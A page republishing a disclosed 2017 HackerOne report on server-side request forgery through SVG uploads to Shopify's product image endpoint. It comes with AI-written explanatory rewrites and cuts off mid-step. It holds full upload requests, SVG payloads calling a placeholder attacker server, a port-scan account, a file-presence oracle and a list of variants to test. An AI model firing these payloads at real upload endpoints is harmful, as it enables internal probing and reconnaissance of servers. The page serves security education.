Skip to content
SSRF Disclosed report Intermediate

SVG Server Side Request Forgery (SSRF)

The product image upload endpoint validated the file extension but processed the file content before checking the actual type, so an attacker could upload an SVG disguised as a PNG. The SVG's image references caused the server to make outbound HTTP and FTP requests to arbitrary hosts, enabling SSRF and a local file existence oracle.

floyd Follow

Originally disclosed on HackerOne

Bounty$500 Low View original
  • Triaged in 10 days
  • Fixed in 2 months
  • Paid in 2 months
  • Disclosed after 5 months

I found an issue which seems to be regression of the following issue: https://hackerone.com/reports/97501 . It seems your input validaton is not sufficient and the file is getting processed before your implemented check for valid file types.

When adding a new product in the store, images for the product can be uploaded. When modifying the HTTP request that is sent, an attacker can do Server Side Request Forgery. The attacker simply has to specify a filename ending in .png, but use Content-Type image/svg+xml and the file content as well an SVG file.

The following requests leads to an DNS and HTTP interaction with <EXAMPLE_SERVER>, a placeholder for any server on the Internet:

POST /admin/products/9577763394/images.json HTTP/1.1
Host: 667667.myshopify.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-CSRF-Token: ca/m3aW88KsRSpDmudAHJrJBPrXdClc4T/D88ZltUf6E0YUeKneGI5CZtDJFo6wHg+EY+Q4h0uPU8rqnmm/Ydw==
X-Requested-With: XMLHttpRequest
Content-Length: 671
Content-Type: multipart/form-data; boundary=---------------------------1184233411771235065729422741
Cookie: <REDACTED>
Connection: close

-----------------------------1184233411771235065729422741
Content-Disposition: form-data; name="image[attachment]"; filename="NagKSvgXlink2.png"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" /></svg>
-----------------------------1184233411771235065729422741
Content-Disposition: form-data; name="image[alt]"


-----------------------------1184233411771235065729422741--

Although the Shopify server responds with a HTTP 422 message, the interaction takes place with <EXAMPLE_SERVER>:

HTTP/1.1 422 Unprocessable Entity
Server: nginx
Date: Fri, 21 Apr 2017 11:17:02 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Referrer-Policy: origin-when-cross-origin
X-Frame-Options: DENY
X-ShopId: 19430493
X-ShardId: 1
X-Stats-UserId: 110274114
Cache-Control: no-cache, no-store
Set-Cookie: request_method=POST; path=/
Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://*; child-src 'self' https://* shopify-pos://*; connect-src 'self' wss://* https://*; script-src https://cdn.shopify.com https://checkout.shopifycs.com https://js-agent.newrelic.com https://bam.nr-data.net https://dme0ih8comzn4.cloudfront.net https://api.stripe.com https://mpsnare.iesnare.com https://appcenter.intuit.com https://www.paypal.com https://stats.g.doubleclick.net https://www.google-analytics.com https://visitors.shopify.com https://v.shopify.com https://widget.intercom.io https://js.intercomcdn.com 'self' 'unsafe-inline' 'unsafe-eval'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=create&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fproduct_images&source%5Bsection%5D=admin&source%5Buuid%5D=834e8c11-d80b-4d00-a213-78619aebe696
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=create&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fproduct_images&source%5Bsection%5D=admin&source%5Buuid%5D=834e8c11-d80b-4d00-a213-78619aebe696
X-Dc: ash,chi2
X-Request-ID: 834e8c11-d80b-4d00-a213-78619aebe696
Content-Length: 109

{"errors":{"image":["The uploaded image is corrupt and cannot be processed. Please try a different image."]}}

The interaction with <EXAMPLE_SERVER> for HTTP is:

GET /image.jpeg HTTP/1.0
Host: <EXAMPLE_SERVER>
Accept-Encoding: gzip 

To further analyse the issue, let's only talk about the SVG file content in the request:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" />
</svg>

A couple of facts:

  • When changing the http://<EXAMPLE_SERVER>/image.jpeg part to other protocols, only http:// and ftp:// lead to interaction with a server on the Internet. No other protocol on the following list does: https://www.w3.org/wiki/UriSchemes .
  • I tried to connect with the HTTP and FTP protocol to all 65535 TCP ports on my server. Shopify seems to have outbound filters on only one TCP port, 113. On all other ports I got a TCP SYN packet with both protocols. Often companies detect this kind of port scan from their network hosts, I don't know if you did.
  • The parser doesn't mind a static entity:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [ <!ENTITY xml "eXtensible Markup Language"> ]>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>/image.jpg" />
<text x="0" y="20" font-size="20">&xml;</text>
</svg>
  • The "a billion laughs" attack - see https://en.wikipedia.org/wiki/Billion_laughs - is probably possible as static entities are allowed, but DoS is not in the scope of your bug bounty program.
  • However, the parser doesn't like SYSTEM Entities, we can not specify a different DTD file, add SYSTEM entities or any other XXE attack.

But we can use two image references and as long as the first URL returns a valid image, the second one is requested as well:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>:81/example.png" />
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>:999/example.png" />
<text x="0" y="20" font-size="20">test</text>
</svg>

This results in a Is-Picture-Present-Oracle. By sending a local path first we can find out if a file that includes a picture is present on the file system. Because we get an interaction for the following SVG, we know the picture /lib/plymouth/ubuntu_logo.png is present on the system (this does not work with non-image files like /etc/passwd):

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="/lib/plymouth/ubuntu_logo.png" />
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>:999/example.png" />
<text x="0" y="20" font-size="20">test</text>
</svg>

The following pictures allow us to fingerprint the versions of libraries installed on your server (these three files are present on your servers):

  • /usr/share/doc/libpng12-dev/examples/pngtest.png (you have libpng12-dev installed, etc.)
  • /usr/share/doc/libfreetype6/tutorial/metrics.png
  • /usr/share/doc/libexpat1-dev/expat.html/expat.png

The original report as published on HackerOne, by floyd. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Shopify lets a merchant upload images for a product from the admin interface. The upload is a multipart form POST to the product images endpoint, and the server processes the uploaded file before it applies its check on the file type. The researcher describes the issue as a regression of an earlier report (97501): input validation is not sufficient, and the file is processed before the implemented check for valid file types runs.

The report was filed against Shopify on HackerOne by floyd, rated low severity, and paid a 500 USD bounty. It was disclosed on 22 September 2017.

Setup

No special tooling is described. The precondition is a store admin session able to add a new product and upload images, plus a server on the Internet the researcher controls, referred to throughout as <EXAMPLE_SERVER>, used to observe DNS and HTTP interactions. The request shown targets a store host of the form 667667.myshopify.com and carries a valid CSRF token and session cookie.

Finding it

The researcher's assessment is that the upload path processes the file before validating its type. By sending a file whose name ends in .png but whose declared Content-Type is image/svg+xml and whose content is an SVG document, the server parses the SVG. An SVG <image> element with an xlink:href pointing at an external URL causes the server to fetch that URL, which is server-side request forgery.

Exploitation

Step 1: upload an SVG disguised as a PNG

The following request leads to a DNS and HTTP interaction with <EXAMPLE_SERVER>:

HTTP
POST /admin/products/9577763394/images.json HTTP/1.1
Host: 667667.myshopify.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-CSRF-Token: ca/m3aW88KsRSpDmudAHJrJBPrXdClc4T/D88ZltUf6E0YUeKneGI5CZtDJFo6wHg+EY+Q4h0uPU8rqnmm/Ydw==
X-Requested-With: XMLHttpRequest
Content-Length: 671
Content-Type: multipart/form-data; boundary=---------------------------1184233411771235065729422741
Cookie: <REDACTED>
Connection: close

-----------------------------1184233411771235065729422741
Content-Disposition: form-data; name="image[attachment]"; filename="NagKSvgXlink2.png"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" /></svg>
-----------------------------1184233411771235065729422741
Content-Disposition: form-data; name="image[alt]"

-----------------------------1184233411771235065729422741--

The important parts are the filename ending in .png, the part-level Content-Type: image/svg+xml, and the SVG body containing an <image> element whose xlink:href points at http://<EXAMPLE_SERVER>/image.jpeg. The image[alt] part is empty.

Step 2: observe the response and the callback

The server responds with HTTP 422, but the interaction with <EXAMPLE_SERVER> still takes place:

HTTP
HTTP/1.1 422 Unprocessable Entity
Server: nginx
Date: Fri, 21 Apr 2017 11:17:02 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Referrer-Policy: origin-when-cross-origin
X-Frame-Options: DENY
X-ShopId: 19430493
X-ShardId: 1
X-Stats-UserId: 110274114
Cache-Control: no-cache, no-store
Set-Cookie: request_method=POST; path=/
Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://*; child-src 'self' https://* shopify-pos://*; connect-src 'self' wss://* https://*; script-src https://cdn.shopify.com https://checkout.shopifycs.com https://js-agent.newrelic.com https://bam.nr-data.net https://dme0ih8comzn4.cloudfront.net https://api.stripe.com https://mpsnare.iesnare.com https://appcenter.intuit.com https://www.paypal.com https://stats.g.doubleclick.net https://www.google-analytics.com https://visitors.shopify.com https://v.shopify.com https://widget.intercom.io https://js.intercomcdn.com 'self' 'unsafe-inline' 'unsafe-eval'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=create&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fproduct_images&source%5Bsection%5D=admin&source%5Buuid%5D=834e8c11-d80b-4d00-a213-78619aebe696
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=create&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fproduct_images&source%5Bsection%5D=admin&source%5Buuid%5D=834e8c11-d80b-4d00-a213-78619aebe696
X-Dc: ash,chi2
X-Request-ID: 834e8c11-d80b-4d00-a213-78619aebe696
Content-Length: 109

{"errors":{"image":["The uploaded image is corrupt and cannot be processed. Please try a different image."]}}

The body reports that the uploaded image is corrupt and cannot be processed, yet the fetch has already happened. The interaction the researcher received for HTTP is:

HTTP
GET /image.jpeg HTTP/1.0
Host: <EXAMPLE_SERVER>
Accept-Encoding: gzip

Step 3: isolate the SVG content

To analyse the issue further, the researcher considers only the SVG file content in the request:

XML
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" />
</svg>

Step 4: test which protocols are followed

Changing the http://<EXAMPLE_SERVER>/image.jpeg part to other protocols, only http:// and ftp:// lead to interaction with a server on the Internet. No other protocol on the W3C URI schemes list does.

Step 5: test outbound port filtering

The researcher connected with the HTTP and FTP protocols to all 65535 TCP ports on his own server. Shopify appears to have outbound filters on only one TCP port, 113. On all other ports a TCP SYN packet arrived with both protocols. The researcher notes that companies often detect this kind of port scan from their network hosts and asks whether Shopify did.

Step 6: test XML entity handling

The parser does not mind a static entity:

XML
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [ <!ENTITY xml "eXtensible Markup Language"> ]>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>/image.jpg" />
<text x="0" y="20" font-size="20">&xml;</text>
</svg>

Because static entities are allowed, the researcher considers the "a billion laughs" attack probably possible, but notes that DoS is not in scope of the bug bounty program. The parser does not like SYSTEM entities: a different DTD file cannot be specified, SYSTEM entities cannot be added, and other XXE attacks do not work.

Step 7: chain two image references into an oracle

Two image references can be used, and as long as the first URL returns a valid image, the second one is requested as well:

XML
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>:81/example.png" />
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>:999/example.png" />
<text x="0" y="20" font-size="20">test</text>
</svg>

This produces an is-picture-present oracle. By sending a local path first, the attacker can find out whether a file that includes a picture is present on the file system. Because an interaction is received for the following SVG, the picture /lib/plymouth/ubuntu_logo.png is known to be present on the system. This does not work with non-image files such as /etc/passwd:

XML
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="/lib/plymouth/ubuntu_logo.png" />
<image height="30" width="30" xlink:href="http://<EXAMPLE_SERVER>:999/example.png" />
<text x="0" y="20" font-size="20">test</text>
</svg>

Step 8: fingerprint installed libraries

The following pictures allow fingerprinting the versions of libraries installed on the server. The researcher states that these three files are present on Shopify's servers:

  • /usr/share/doc/libpng12-dev/examples/pngtest.png (libpng12-dev is installed)
  • /usr/share/doc/libfreetype6/tutorial/metrics.png
  • /usr/share/doc/libexpat1-dev/expat.html/expat.png

Root cause

The upload handler processes the file before it applies its check for valid file types, so the SVG is parsed even though the upload is ultimately rejected. The type check is therefore not a barrier to the fetch. The parser accepts static entities but rejects SYSTEM entities and external DTDs, which limits the issue to SSRF and file-presence probing rather than full XXE. Outbound filtering is minimal: only TCP port 113 is filtered, and only http:// and ftp:// are followed.

Impact

An authenticated store admin can make the Shopify server issue DNS and HTTP (and FTP) requests to arbitrary hosts and ports on the Internet, and can probe the local file system for the presence of image files. Non-image files such as /etc/passwd cannot be read. The response to the upload is a 422 error regardless, so the attacker relies on out-of-band interaction with a server they control. The report does not describe reading file contents, only detecting presence.

Fix

The report does not describe the fix that was applied. The implied requirement is to validate the file type before processing the file, so that an SVG declared as a PNG is rejected before it is parsed.

Variants to test

  • Upload an SVG with an external <image xlink:href> to a server you control, using a .png filename and image/svg+xml content type. A positive result is a DNS and HTTP request arriving at your server despite an error response.
  • Try ftp:// in the xlink:href. A positive result is an FTP connection from the target.
  • Scan outbound ports with HTTP and FTP references. A positive result is a SYN packet on ports other than those filtered.
  • Use two <image> elements, the first pointing at a local path and the second at your server. A positive result is a request to the second URL, indicating the local file exists and is a valid image.
  • Probe known documentation paths for image files to fingerprint installed libraries.
  • Test static entity declarations in the SVG. A positive result is the entity being expanded in the parsed document.

Hunting notes

This kind of bug tends to hide in image and file upload features that accept SVG, especially where the extension and the declared content type are checked separately or after parsing. During recon, look for upload endpoints that return a processing error but still make outbound requests, and for parsers that accept static entities. The researcher demonstrated impact by showing the out-of-band interaction, the protocol and port behaviour, and a file-presence oracle with library fingerprinting.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 26 min read.

What happened, in plain words

Shopify is a service that lets anyone run an online shop. A shop owner logs into an admin area in the browser, adds products, and uploads pictures for each product. Those pictures are sent to Shopify's servers, which store and process them.

A security researcher found that this picture upload could be tricked. If you send a file that is named like a picture (ending in .png) but whose contents are actually a different kind of picture format called SVG, Shopify's server would open and read that file before it checked whether the file type was allowed. An SVG file can contain a link to another picture somewhere on the Internet. When the server read the SVG, it followed that link and fetched the picture from a server the researcher controlled. That is the core of the bug.

This behaviour has a name: Server-Side Request Forgery, usually shortened to SSRF. The word "server-side" matters. Normally, when your browser loads a picture from a web address, your own computer makes the request. In SSRF, the server makes the request instead, on your behalf, from inside the company's network. A useful comparison: imagine you ask a hotel receptionist to fetch a parcel from an address you give them. You never leave your room, but the receptionist walks into parts of the building you could not reach yourself. SSRF is the same idea with a web server as the receptionist.

The researcher also showed that the same trick could be used to ask the server whether particular files exist on its own disk, and to learn which software libraries are installed. The report was filed on HackerOne (a website where researchers report bugs to companies), rated low severity, and paid a 500 USD bounty. It was disclosed on 22 September 2017.

The researcher described the bug as a regression of an earlier report, numbered 97501. A regression means a bug that was fixed before and has come back. The researcher's view was that the input validation (the checks on what a user is allowed to send) was not sufficient, and that the file was being processed before the check for valid file types ran.

The setup

The report does not describe any special tools. To reproduce it you need two things:

  1. A logged-in shop admin session, the same kind of session a shop owner has when adding a product and uploading images.
  2. A server on the Internet that you control, so you can watch for incoming requests. The report calls this <EXAMPLE_SERVER> throughout. It is a placeholder: wherever you see it, imagine the address of your own server.

The request shown targets a shop host of the form 667667.myshopify.com, and it carries a valid CSRF token and a session cookie. Both of those are explained below, where they appear.

Finding it

The researcher's assessment was that the upload path processes the file before validating its type. In other words, the order of operations is wrong: the server opens and reads the file first, and only afterwards decides whether the file type is acceptable.

To exploit this, the researcher sent a file whose name ends in .png but whose declared Content-Type is image/svg+xml, and whose content is an SVG document. The server then parsed the SVG. An SVG <image> element with an xlink:href pointing at an external URL causes the server to fetch that URL. That fetch, made by the server rather than by the researcher's browser, is the server-side request forgery.

A few concepts, from zero:

  • Content-Type: a label attached to a file or a request part that says what kind of data it is, for example image/png for a PNG picture or image/svg+xml for an SVG picture. It is a claim, not a guarantee; the sender writes it.
  • SVG: a picture format that is actually text, written in a markup language similar to HTML. Because it is text that a program has to read and interpret, an SVG can contain instructions, including links to other images.
  • xlink:href: an attribute inside an SVG <image> element that holds the address of the picture to display. If that address is on another server, whoever renders the SVG has to go and fetch it.
  • Parsing: reading a file and working out its structure, the way you read a sentence and understand the words and grammar rather than just seeing ink on paper.

Exploitation

Step 1: upload an SVG disguised as a PNG

The following request leads to a DNS and HTTP interaction with <EXAMPLE_SERVER>:

HTTP
POST /admin/products/9577763394/images.json HTTP/1.1
Host: 667667.myshopify.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-CSRF-Token: ca/m3aW88KsRSpDmudAHJrJBPrXdClc4T/D88ZltUf6E0YUeKneGI5CZtDJFo6wHg+EY+Q4h0uPU8rqnmm/Ydw==
X-Requested-With: XMLHttpRequest
Content-Length: 671
Content-Type: multipart/form-data; boundary=---------------------------1184233411771235065729422741
Cookie: <REDACTED>
Connection: close

-----------------------------1184233411771235065729422741
Content-Disposition: form-data; name="image[attachment]"; filename="NagKSvgXlink2.png"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" /></svg>
-----------------------------1184233411771235065729422741
Content-Disposition: form-data; name="image[alt]"

-----------------------------1184233411771235065729422741--

Line by line, in plain words:

  • POST /admin/products/9577763394/images.json HTTP/1.1: this is the request line. POST means "I am sending data to the server". The path /admin/products/9577763394/images.json is the address of the feature that adds an image to a product, and 9577763394 is the product's identifier. HTTP/1.1 is the version of the language being spoken. The .json ending tells you the server replies in JSON, a text format for structured data.
  • Host: 667667.myshopify.com: which website the request is for. One web server can host many shops, so the server needs to know which one you mean.
  • User-Agent: ...: a line where the browser says what browser and operating system it is. Here it claims to be Firefox on a Mac. Tools that send requests by hand often copy this from a real browser so the request looks ordinary.
  • Accept: */*: the kinds of reply the client will accept. */* means "anything".
  • Accept-Language: en-US,en;q=0.5: the preferred language for the reply, here US English.
  • X-CSRF-Token: ...: a CSRF token. CSRF stands for Cross-Site Request Forgery, an attack where a malicious website tries to make your logged-in browser send a request to another site without your knowledge. To stop that, the site gives your browser a secret value and expects it back on every state-changing request. The long string here is that secret. It is tied to the session, so it only works for the person who is logged in.
  • X-Requested-With: XMLHttpRequest: a header that marks the request as having been made by JavaScript inside a page rather than by typing a URL in the address bar. Some sites use it as a small extra signal.
  • Content-Length: 671: how many bytes of data follow the blank line.
  • Content-Type: multipart/form-data; boundary=...: the outer format of the body. multipart/form-data is how browsers send forms that include files: the body is split into several parts, and a boundary string marks where one part ends and the next begins. Think of it as a separator line between sections of a single document.
  • Cookie: <REDACTED>: the session cookie. A cookie is a small piece of data your browser stores for a website and sends back on every request. The session cookie is what proves you are logged in; it is the equivalent of the wristband you get at an event. It is redacted here because it is a secret.
  • Connection: close: tells the server to close the connection after replying.
  • The blank line after the headers marks the end of the headers and the start of the body.
  • -----------------------------1184233411771235065729422741: the boundary, repeated to open the first part of the form.
  • Content-Disposition: form-data; name="image[attachment]"; filename="NagKSvgXlink2.png": this describes the first part. name="image[attachment]" is the name of the form field, meaning "the image file itself". filename="NagKSvgXlink2.png" is the name the file claims to have. The .png ending is the disguise: it makes the file look like an ordinary PNG picture.
  • Content-Type: image/svg+xml: the declared type of this part. This is the contradiction at the heart of the bug: the name says PNG, the type says SVG.
  • The line starting <?xml ... and containing <svg ...>: the actual file content. It is an SVG document. Inside it, <image ... xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" /> tells any program that renders the SVG to fetch a picture from the researcher's server. The width and height attributes just set the picture's size.
  • The next boundary opens the second part, name="image[alt]", which is the alternative text for the image (the text shown if the picture cannot be displayed). It is empty here.
  • The final boundary with two trailing dashes, -----------------------------1184233411771235065729422741--, marks the end of the form.

Why this step: the researcher wanted to prove that the server would accept a file that looks like a PNG by name, treat it as an SVG by type, and then actually read the SVG. The link inside the SVG is the trap: if the server reads the SVG, it will try to load the linked picture, and that attempt will show up on the researcher's own server.

Step 2: observe the response and the callback

The server responds with HTTP 422, but the interaction with <EXAMPLE_SERVER> still takes place:

HTTP
HTTP/1.1 422 Unprocessable Entity
Server: nginx
Date: Fri, 21 Apr 2017 11:17:02 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Referrer-Policy: origin-when-cross-origin
X-Frame-Options: DENY
X-ShopId: 19430493
X-ShardId: 1
X-Stats-UserId: 110274114
Cache-Control: no-cache, no-store
Set-Cookie: request_method=POST; path=/
Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://*; child-src 'self' https://* shopify-pos://*; connect-src 'self' wss://* https://*; script-src https://cdn.shopify.com https://checkout.shopifycs.com https://js-agent.newrelic.com https://bam.nr-data.net https://dme0ih8comzn4.cloudfront.net https://api.stripe.com https://mpsnare.iesnare.com https://appcenter.intuit.com https://www.paypal.com https://stats.g.doubleclick.net https://www.google-analytics.com https://visitors.shopify.com https://v.shopify.com https://widget.intercom.io https://js.intercomcdn.com 'self' 'unsafe-inline' 'unsafe-eval'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=create&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fproduct_images&source%5Bsection%5D=admin&source%5Buuid%5D=834e8c11-d80b-4d00-a213-78619aebe696
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=create&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fproduct_images&source%5Bsection%5D=admin&source%5Buuid%5D=834e8c11-d80b-4d00-a213-78619aebe696
X-Dc: ash,chi2
X-Request-ID: 834e8c11-d80b-4d00-a213-78619aebe696
Content-Length: 109

{"errors":{"image":["The uploaded image is corrupt and cannot be processed. Please try a different image."]}}

What this reply means, piece by piece:

  • HTTP/1.1 422 Unprocessable Entity: the status line. The number 422 is the server's way of saying "I understood your request, but the data in it could not be processed". In everyday terms, the shop rejected the picture.
  • Server: nginx: the name of the web server software that answered. nginx is a common web server.
  • Date: ...: when the reply was produced.
  • Content-Type: application/json; charset=utf-8: the reply body is JSON text, encoded in UTF-8 (a standard way of representing characters).
  • Connection: close: the connection will be closed after this reply.
  • Referrer-Policy, X-Frame-Options, X-Content-Type-Options, X-Download-Options, X-Permitted-Cross-Domain-Policies, X-XSS-Protection: security-related headers. They tell the browser things like "do not let other sites embed this page in a frame" and "do not guess the file type". They are defensive settings, not part of the bug.
  • X-ShopId, X-ShardId, X-Stats-UserId, X-Dc, X-Request-ID: internal identifiers. X-ShopId identifies the shop, X-ShardId identifies which piece of infrastructure handled it, X-Dc names data centres, and X-Request-ID is a unique label for this one request, useful for finding it in logs later.
  • Cache-Control: no-cache, no-store: tells browsers and caches not to keep a copy of this reply.
  • Set-Cookie: request_method=POST; path=/: the server asking the browser to store a small cookie named request_method with the value POST, valid for the whole site. It is not the login cookie.
  • Content-Security-Policy: ...: a long rule that tells the browser which sources of scripts, images and connections are allowed on the page. It is a defence against injected content. The report-uri at the end says where the browser should send a report if the page breaks the rules.
  • Content-Length: 109: the reply body is 109 bytes long.
  • The body {"errors":{"image":["The uploaded image is corrupt and cannot be processed. Please try a different image."]}}: a JSON object saying the image is corrupt and cannot be processed. In plain words: the upload failed.

The key point is the mismatch. The shop says the image is corrupt, yet the request to the researcher's server has already happened. The rejection came too late. The file was opened and read before the type check ran, which is exactly what the researcher suspected.

The interaction the researcher received for HTTP is:

HTTP
GET /image.jpeg HTTP/1.0
Host: <EXAMPLE_SERVER>
Accept-Encoding: gzip

This is the request that arrived at the researcher's own server, not at Shopify:

  • GET /image.jpeg HTTP/1.0: someone asked for the file /image.jpeg using the GET method, which means "give me this". HTTP/1.0 is an older version of the protocol.
  • Host: <EXAMPLE_SERVER>: the address the request was sent to, which is the researcher's server.
  • Accept-Encoding: gzip: the client is willing to receive the reply compressed with gzip, a common compression format.

Why this step: seeing this request arrive is the proof. The researcher's server is not something Shopify's shop page would normally contact. The only way this request could exist is if Shopify's own server made it, because it read the SVG and followed the link inside.

Step 3: isolate the SVG content

To analyse the issue further, the researcher considers only the SVG file content in the request:

XML
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" />
</svg>

Line by line:

  • <?xml version="1.0" encoding="UTF-8" standalone="no"?>: the XML declaration. XML is a general text format for structured documents, and SVG is written in it. This line says which version of XML is used, that the text is encoded in UTF-8, and that the document does not rely on any separate definition file.
  • <svg ...>: the opening tag of the SVG document. The xmlns attributes declare the vocabularies in use: xmlns:svg and xmlns for SVG itself, and xmlns:xlink for the xlink vocabulary, which provides the href attribute used for links. width="200" height="200" set the canvas size in pixels.
  • <image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" />: an instruction to draw a picture, 200 by 200 pixels, whose source is the given URL. The /> at the end means the tag closes itself.
  • </svg>: the closing tag of the document.

Why this step: stripping away the HTTP request around the file makes the mechanism easier to see. The whole attack is in these three lines: a picture that points at someone else's server.

Step 4: test which protocols are followed

Changing the http://<EXAMPLE_SERVER>/image.jpeg part to other protocols, only http:// and ftp:// lead to interaction with a server on the Internet. No other protocol on the W3C URI schemes list does.

A protocol here is the set of rules used to talk to a server, and it appears at the start of an address. http:// is the ordinary web protocol. ftp:// is File Transfer Protocol, an older way of moving files. The W3C is the organisation that publishes web standards, and its list of URI schemes is a catalogue of the prefixes an address can start with, such as mailto:, file: or gopher:.

Why this step: the researcher wanted to know how far the server's fetching could reach. If many protocols worked, the attack surface would be wider. In practice only two did, which narrows what an attacker can do.

Step 5: test outbound port filtering

The researcher connected with the HTTP and FTP protocols to all 65535 TCP ports on his own server. Shopify appears to have outbound filters on only one TCP port, 113. On all other ports a TCP SYN packet arrived with both protocols. The researcher notes that companies often detect this kind of port scan from their network hosts and asks whether Shopify did.

Some background:

  • A port is a numbered channel on a computer. One machine can run many services at once, and each listens on its own number. There are 65535 TCP ports in total, so scanning all of them means trying every possible channel.
  • TCP is the protocol that carries most Internet traffic, including HTTP. A SYN packet is the first message of a TCP connection: the client says "hello, can we talk?". Seeing a SYN arrive at your server means something tried to open a connection to that port.
  • Outbound filtering means blocking connections that leave the company's network. Companies do this so that a compromised server cannot reach arbitrary places on the Internet.

Why this step: if the server can be made to connect to any port, an attacker can use it to probe the internal network and the Internet from inside Shopify. The researcher found that only port 113 was blocked, so almost every port was reachable. Port 113 is traditionally used by an old identity service, which is why it might be filtered. The researcher also raises a fair point: a scan of all ports from inside a company's network is exactly the kind of thing monitoring systems are built to notice.

Step 6: test XML entity handling

The parser does not mind a static entity:

XML
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
